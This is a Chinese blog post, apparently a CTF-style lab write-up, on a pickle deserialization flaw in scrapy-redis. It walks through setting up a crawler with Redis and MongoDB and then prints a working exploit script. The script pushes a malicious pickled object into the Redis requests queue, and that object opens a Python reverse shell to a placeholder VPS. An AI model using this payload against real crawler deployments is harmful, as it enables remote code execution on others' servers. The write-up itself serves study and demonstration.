requests 可以 scrapy 不行_scrapy-redis 反序列化漏洞

bytectf告诉了我,i'm five.

1、前言

abc06182cc0d3234f5c34116b1d3d7f3.png

分布式爬取

  您可以启动多个spider工程,相互之间共享单个redis的requests队列。最适合广泛的多个域名网站的内容爬取。

分布式数据处理

  爬取到的scrapy的item数据可以推入到redis队列中,这意味着你可以根据需求启动尽可能多的处理程序来共享item的队列,进行item数据持久化处理

Scrapy即插即用组件

  Scheduler调度器 + Duplication复制 过滤器,Item Pipeline,基本spider

scrapy的整体架构就不多说了,自己去看文档吧,这里重点说一下分布式爬取的特征。

您可以启动多个spider工程,相互之间共享单个redis的requests队列。最适合广泛的多个域名网站的内容爬取。

d0894c7ed09846af7562d0bf1af0b1e5.png

scrapy的工作流程如图,说人话:

1. 首先Slaver端从Master端拿任务(Request、url)进行数据抓取,Slaver抓取数据的同时,产生新任务的Request便提交给 Master 处理;

2. Master端只有一个Redis数据库,负责将未处理的Request去重和任务分配,将处理后的Request加入待爬队列,并且存储爬取的数据。

Scrapy-Redis默认使用的就是这种策略,我们实现起来很简单,因为任务调度等工作Scrapy-Redis都已经帮我们做好了,我们只需要继承RedisSpider、指定redis_key就行了。

缺点是,Scrapy-Redis调度的任务是Request对象,里面信息量比较大(不仅包含url,还有callback函数、headers等信息),

scrapy-redis中都是用key-value形式存储数据,其中有几个常见的key-value形式:

1、 “项目名:items” -->list 类型,保存爬虫获取到的数据item 内容是 json 字符串

2、 “项目名:dupefilter” -->set类型,用于爬虫访问的URL去重 内容是 40个字符的 url 的hash字符串

3、 “项目名: start_urls” -->List 类型,用于获取spider启动时爬取的第一个url

4、 “项目名:requests” -->zset类型,用于scheduler调度处理 requests 内容是 request 对象的序列化 字符串

好了看到这里想到了什么没?Scrapy-Redis调度的任务是Request对象

当我们需要通过分布式爬虫系统爬取url时 我们一般会在redis中给key:项目名:start_urls push一条url,随后scrapy会获取该条url 进行爬行。

那我们给redis中key:项目名:requests push一条request对象序列化的字符串时,scrapy会获取该字符串 将其反序列化。这应该也就是bytectf那道easey_scrapy的考点了。

2、配置环境

a.创建scrapy项目

`python3 -m scrapy startproject people`

创建一个项目people

`python3 -m scrapy genspider mypeople http://people.com.cn`

创建一个爬虫

$ tree ./

./

├── people #项目目录

│ ├── __init__.py

│ ├── __pycache__

│ │ ├── __init__.cpython-38.pyc

│ │ ├── items.cpython-38.pyc

│ │ ├── pipelines.cpython-38.pyc

│ │ └── settings.cpython-38.pyc

│ ├── items.py #负责数据模型的建立,类似于实体类。定义我们所要爬取的信息的相关属性。

│ ├── middlewares.py #自己定义的中间件。可以定义相关的方法,用以处理蜘蛛的响应输入和请求输出。 暂时用不到

│ ├── pipelines.py #负责对spider返回数据的处理。

│ ├── settings.py #相关设置

│ └── spiders #负责存放继承自scrapy的爬虫类。

│ ├── __init__.py

│ ├── __pycache__

│ │ ├── __init__.cpython-38.pyc

│ │ └── mypeople.cpython-38.pyc

│ └── mypeople.py #爬虫

├── scrapy.cfg #基础配置

b.配置redis与mongodb

配置redis

`docker run -d -p 6379:6379 redis --requirepass "123456"`

密码为123456

`docker run -itd --name mongo -p 27017:27017 mongo --auth`

创建mongodb

`docker exec -it mongo mongo admin`

创建超级用户

`db.createUser({user:"root",pwd:"root",roles:["root"]})`

c.修改scrapy

修改pipelines.py为

# Define your item pipelines here

#

# Don't forget to add your pipeline to the ITEM_PIPELINES setting

# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html

import pymongo

# useful for handling different item types with a single interface

from itemadapter import ItemAdapter

class PeoplePipeline:

# xe8xbfx9exe6x8exa5xe6x95xb0xe6x8dxaexe5xbax93

def __init__(self):

# xe8x8exb7xe5x8fx96xe6x95xb0xe6x8dxaexe5xbax93xe8xbfx9exe6x8exa5xe4xbfxa1xe6x81xaf

# 获取数据库连接信息

MONGODB_HOST = '127.0.0.1'

MONGODB_PORT = 27017

MONGODB_DBNAME = 'admin'

MONGODB_TABLE = 'admin'

MONGODB_USER = 'admin'

MONGODB_PASSWD = '123456'

mongo_client = pymongo.MongoClient("%s:%d" % (MONGODB_HOST, MONGODB_PORT))

mongo_client[MONGODB_DBNAME].authenticate(MONGODB_USER, MONGODB_PASSWD, MONGODB_DBNAME)

mongo_db = mongo_client[MONGODB_DBNAME]

self.table = mongo_db[MONGODB_TABLE]

# xe5xa4x84xe7x90x86item

def process_item(self, item, spider):

# xe4xbdxbfxe7x94xa8dictxe8xbdxacxe6x8dxa2itemxefxbcx8cxe7x84xb6xe5x90x8exe6x8fx92xe5x85xa5xe6x95xb0xe6x8dxaexe5xbax93

# 使用dict转换item,然后插入数据库

quote_info = dict(item)

print(quote_info)

self.table.insert(quote_info)

return item

修改settings.py 添加

RETRY_ENABLED = False

ROBOTSTXT_OBEY = False

SCHEDULER_PERSIST = True

DOWNLOAD_TIMEOUT = 8

USER_AGENT = 'scrapy_redis'

SCHEDULER = "scrapy_redis.scheduler.Scheduler"

DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter"

REDIS_HOST = '127.0.0.1'

REDIS_PORT = 6379

REDIS_PARAMS = { 'password': '123456', }

# 数据保存在redis中

ITEM_PIPELINES = {

'people.pipelines.PeoplePipeline': 300,

}

修改items.py为

import scrapy

class PeopleItem(scrapy.Item):

# define the fields for your item here like:

# name = scrapy.Field()

#新闻标题、时间、url、文章内容

byte_start = scrapy.Field()#xe8xb5xb7xe5xa7x8bxe9xa1xb5xe9x9dxa2 起始页面

byte_url = scrapy.Field()#xe5xbdx93xe5x89x8dxe9xa1xb5xe9x9dxa2 当前页面

byte_text = scrapy.Field()#text

修改spiders/mypeople.py为

import scrapy

import re

import base64

from scrapy_redis.spiders import RedisSpider

from people.items import PeopleItem

class MypeopleSpider(RedisSpider):

name = 'mypeople'

# allowed_domains = ['people.com.cn']

# start_urls = ['http://politics.people.com.cn/GB/1024/index1.html']

redis_key = "mypeople:start_url"

def parse(self, response):

byte_item = PeopleItem()

byte_item['byte_start'] = response.request.url#xe4xb8xbbxe9x94xaexefxbcx8cxe5x8ex9fxe5xa7x8burl

url_list = []

test = response.xpath('//a/@href').getall()

for i in test:

if i[0] == '/':

url = response.request.url + i

else:

url = i

if re.search(r'://',url):

r = scrapy.Request(url,callback=self.parse2,dont_filter=True)

r.meta['item'] = byte_item

yield r

url_list.append(url)

if(len(url_list)>3):

break

byte_item['byte_url'] = response.request.url

byte_item['byte_text'] = base64.b64encode((response.text).encode('utf-8'))

yield byte_item

def parse2(self,response):

item = response.meta['item']

item['byte_url'] = response.request.url

item['byte_text'] = base64.b64encode((response.text).encode('utf-8'))

yield item

3、漏洞利用

直接放脚本,创建一个恶意的对象,将其序列化后的字符串放到mypeople:requests

#!/usr/bin/env python3

import requests

import pickle

import os

import base64

import redis

import pickle # 序列化库

import datetime

myredis = redis.Redis(host="127.0.0.1", password="123456", port=6379)

print(http://myredis.info())

url = "file:///etc/passwd"

class exp(object):

def __reduce__(self):

s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vpsip",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""

return (os.system, (s,))

e = exp()

s = pickle.dumps(e)

evil_obj = {}

evil_obj.setdefault(s,1)

myredis.zadd(name="mypeople:requests", mapping=evil_obj)

# myredis.lpush("mypeople:start_url", url)

# myredis.lpush("mypeople:start_url", url)

运行该爬虫

dc10a1afab07f8d4ca68b0fbeb892023.png

此时redis中key为空

6d5c9df919179aa604ef1d9e7bf189e5.png

vps上监听端口,随后运行脚本

399dfa6308e5f260309589d71c4c9eef.png

47177e3dfceb2abc17793c9250fb0c05.png

此时scrapy获取了该对象并反序列化

133abb172b4f1bb08e9dd995ea95c477.png

vps中获取到shell

ab39a1d84e8c70dfb421c3fea41b9f1f.png

也可以用发一条gopher的方式触发,就不写了。

欢迎关注EDI安全

d48abece0dcdd559ffccfd5a4c45eb03.png
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值